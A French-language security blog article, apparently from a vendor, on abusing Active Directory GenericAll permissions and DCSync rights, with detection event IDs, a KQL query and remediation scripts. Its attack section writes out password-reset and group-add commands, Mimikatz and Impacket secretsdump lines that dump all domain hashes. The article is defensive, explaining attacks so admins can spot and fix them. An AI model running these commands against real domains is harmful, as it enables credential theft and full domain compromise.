🏢Active DirectoryPermissionsAttack PathsAdvanced

Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin

Les mauvaises configurations ACL comme GenericAll et les droits DCSync donnent aux attaquants des chemins silencieux vers Domain Admin. Apprenez à énumérer, détecter et éliminer les permissions AD dangereuses.

ES
EtcSec Security Team
4 min read
Abus ACL et DCSync : Les Chemins Silencieux vers Domain Admin

Qu'est-ce que l'Abus d'ACL dans Active Directory ?

Les objets Active Directory — utilisateurs, groupes, ordinateurs, OUs, GPOs — ont tous des Access Control Lists (ACLs) qui définissent qui peut les lire, modifier ou contrôler. Quand ces ACLs sont mal configurées, elles créent des chemins d'escalade de privilèges silencieux qui contournent complètement les frontières de sécurité traditionnelles.

Les deux mauvaises configurations ACL les plus critiques sont GenericAll (contrôle total sur un objet) et les droits DCSync (la capacité de répliquer tous les hashes de mots de passe depuis un Contrôleur de Domaine). Les deux peuvent être détenus par des comptes qui n'ont aucune raison de les avoir — et les deux mènent directement à une compromission totale du domaine.

Contrairement aux exploits de vulnérabilités, l'abus d'ACL ne nécessite aucun CVE, aucun patch, et génère un minimum de logs.


Comment ca Fonctionne

Chaque objet AD a un Security Descriptor contenant une Discretionary ACL (DACL). Chaque entrée dans la DACL est un Access Control Entry (ACE) qui accorde ou refuse des droits spécifiques à un principal.

Quand un attaquant contrôle un compte avec des ACEs dangereuses sur des cibles de haute valeur, il peut :

  • Réinitialiser les mots de passe de comptes privilégiés
  • Ajouter des membres à des groupes privilégiés
  • Modifier les attributs d'objets pour obtenir un accès supplémentaire
  • Répliquer tous les credentials du domaine via DCSync

La Chaine d'Attaque

Etape 1 - Enumérer les ACLs Dangereuses

# BloodHound — collecte des données AD pour cartographier les ACLs
bloodhound-python -u [email protected] -p password -ns 10.10.0.1 -d corp.local -c All
# Trouver les comptes avec droits DCSync (comptes non-DC)
$dcsyncRights = @("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
                   "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")

Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
    $_.nTSecurityDescriptor.Access | Where-Object {
        $_.ObjectType -in $dcsyncRights -and
        $_.AccessControlType -eq "Allow" -and
        $_.IdentityReference -notmatch "Domain Controllers|ENTERPRISE DOMAIN CONTROLLERS"
    } | Select-Object @{N="Objet";E={$_.DistinguishedName}}, IdentityReference
}

Etape 2 - Exploiter GenericAll

Avec GenericAll sur un utilisateur, l'attaquant peut réinitialiser le mot de passe de cet utilisateur sans connaître le mot de passe actuel :

$secPwd = ConvertTo-SecureString "NouveauP@ss123!" -AsPlainText -Force
Set-ADAccountPassword -Identity "admincible" -Reset -NewPassword $secPwd

Avec GenericAll sur un groupe, l'attaquant peut s'y ajouter :

Add-ADGroupMember -Identity "Domain Admins" -Members "attaquant"

Etape 3 - Exploiter les Droits DCSync

Tout compte avec DS-Replication-Get-Changes-All peut effectuer une attaque DCSync :

# Mimikatz DCSync — dump de tous les hashes
lsadump::dcsync /domain:corp.local /all /csv
# Impacket depuis Linux
impacket-secretsdump -just-dc corp.local/compte_compromis:[email protected]

Etape 4 - Compromission Totale du Domaine

Avec le hash KRBTGT obtenu via DCSync, l'attaquant forge un Golden Ticket et obtient un accès illimité au domaine.


Détection

Event IDs Windows

Event IDSourceCe qu'il faut surveiller
4662DC - SecurityOpération sur objet AD — droits de réplication exercés
4738DC - SecurityCompte modifié — réinitialisation de mot de passe par un compte inattendu
4728/4732/4756DC - SecurityMembre ajouté à un groupe privilégié par un non-admin
4670DC - SecurityPermissions d'objet modifiées — ACE ajoutée à des objets sensibles

Détection DCSync (Elastic KQL)

event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*")

💡 Conseil : Tout compte non-DC déclenchant l'événement 4662 avec les GUIDs de réplication est un indicateur quasi-certain de DCSync. Alertez immédiatement sur ce signal.


Remédiation

⚠️ Priorité : Supprimez les droits DCSync des comptes non-DC immédiatement. C'est une mauvaise configuration à tolérance zéro.

Supprimer les Droits DCSync

$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$replicationGuids = @(
    [GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
    [GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
)

$acl.Access | Where-Object {
    $_.ObjectType -in $replicationGuids -and
    $_.IdentityReference -notmatch "Domain Controllers"
} | ForEach-Object {
    $acl.RemoveAccessRule($_)
}
Set-Acl "AD:\$domainDN" $acl

Durcir AdminSDHolder

L'objet AdminSDHolder propage son ACL vers tous les comptes protégés toutes les 60 minutes. Le durcir empêche l'abus persistant des ACEs :

$adminSDHolderDN = "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
(Get-Acl "AD:\$adminSDHolderDN").Access | Format-Table IdentityReference, ActiveDirectoryRights

Comment EtcSec Détecte Cela

EtcSec cartographie le graphe ACL complet de votre environnement Active Directory et identifie automatiquement les chemins de permissions dangereuses.

DCSYNC_CAPABLE identifie chaque compte non-DC détenant des droits DS-Replication-Get-Changes-All sur la racine du domaine.

ACL_GENERICALL signale les comptes avec des permissions GenericAll sur des cibles de haute valeur.

PATH_ACL_TO_DA identifie les chemins ACL multi-sauts où un compte peu privilégié peut atteindre Domain Admin.

ℹ️ Note : EtcSec audite automatiquement toutes les ACLs lors de chaque scan. Lancez un audit gratuit pour découvrir les chemins de permissions dangereuses dans votre environnement.

Articles connexes : Golden Ticket : Les Clés de Votre Domaine | Kerberoasting

EtcSec

© 2026 EtcSec. All rights reserved.

Abus ACL et DCSync : Chemins Silencieux vers Domain Admin | EtcSec — EtcSec Blog | EtcSec